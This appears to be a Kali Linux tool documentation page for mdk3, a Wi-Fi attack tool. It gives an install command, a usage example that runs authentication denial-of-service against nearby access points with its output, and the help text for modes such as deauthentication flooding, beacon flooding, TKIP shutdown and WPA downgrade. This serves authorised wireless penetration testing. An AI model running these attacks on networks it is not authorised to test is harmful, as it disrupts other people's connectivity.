mdk3 Usage Example
Use the wireless interface (
wlan0) to run the Authentication DoS mode test (
root@kali:~# mdk3 wlan0 a Trying to get a new target AP... AP 9C:D3:6D:B8:FF:56 is responding! Connecting Client: 00:00:00:00:00:00 to target AP: 9C:D3:6D:B8:FF:56 Connecting Client: 00:00:00:00:00:00 to target AP: 9C:D3:6D:B8:FF:56 AP 9C:D3:6D:B8:FF:56 seems to be INVULNERABLE! Device is still responding with 500 clients connected! Trying to get a new target AP... AP E0:3F:49:6A:57:78 is responding! Connecting Client: 00:00:00:00:00:00 to target AP: E0:3F:49:6A:57:78 AP E0:3F:49:6A:57:78 seems to be INVULNERABLE!
Packages and Binaries:
MDK is a proof-of-concept tool to exploit common IEEE 802.11 (Wi-Fi) protocol weaknesses. Features:
- Bruteforce MAC Filters.
- Bruteforce hidden SSIDs (some small SSID wordlists included).
- Probe networks to check if they can hear you.
- Intelligent Authentication-DoS to freeze APs (with success checks).
- FakeAP - Beacon Flooding with channel hopping (can crash NetStumbler and some buggy drivers)
- Disconnect everything (aka AMOK-MODE) with Deauthentication and Disassociation packets.
- WPA TKIP Denial-of-Service.
- WDS Confusion - Shuts down large scale multi-AP installations.
How to install:
sudo apt install mdk3

root@kali:~# mdk3 --help MDK 3.0 v6 - "Yeah, well, whatever" by ASPj of k2wrlz, using the osdep library from aircrack-ng And with lots of help from the great aircrack-ng community: Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape, telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik THANK YOU! MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses. IMPORTANT: It is your responsibility to make sure you have permission from the network owner before running MDK against it. This code is licenced under the GPLv2 MDK USAGE: mdk3 <interface> <test_mode> [test_options] Try mdk3 --fullhelp for all test options Try mdk3 --help <test_mode> for info about one test only TEST MODES: b - Beacon Flood Mode Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers! a - Authentication DoS mode Sends authentication frames to all APs found in range. Too much clients freeze or reset some APs. p - Basic probing and ESSID Bruteforce mode Probes AP and check for answer, useful for checking if SSID has been correctly decloaked or if AP is in your adaptors sending range SSID Bruteforcing is also possible with this test mode. d - Deauthentication / Disassociation Amok Mode Kicks everybody found from AP m - Michael shutdown exploitation (TKIP) Cancels all traffic continuously x - 802.1X tests w - WIDS/WIPS Confusion Confuse/Abuse Intrusion Detection and Prevention Systems f - MAC filter bruteforce mode This test uses a list of known client MAC Addresses and tries to authenticate them to the given AP while dynamically changing its response timeout for best performance. It currently works only on APs who deny an open authentication request properly g - WPA Downgrade test deauthenticates Stations and APs sending WPA encrypted packets. With this test you can check if the sysadmin will try setting his network to WEP or disable encryption.
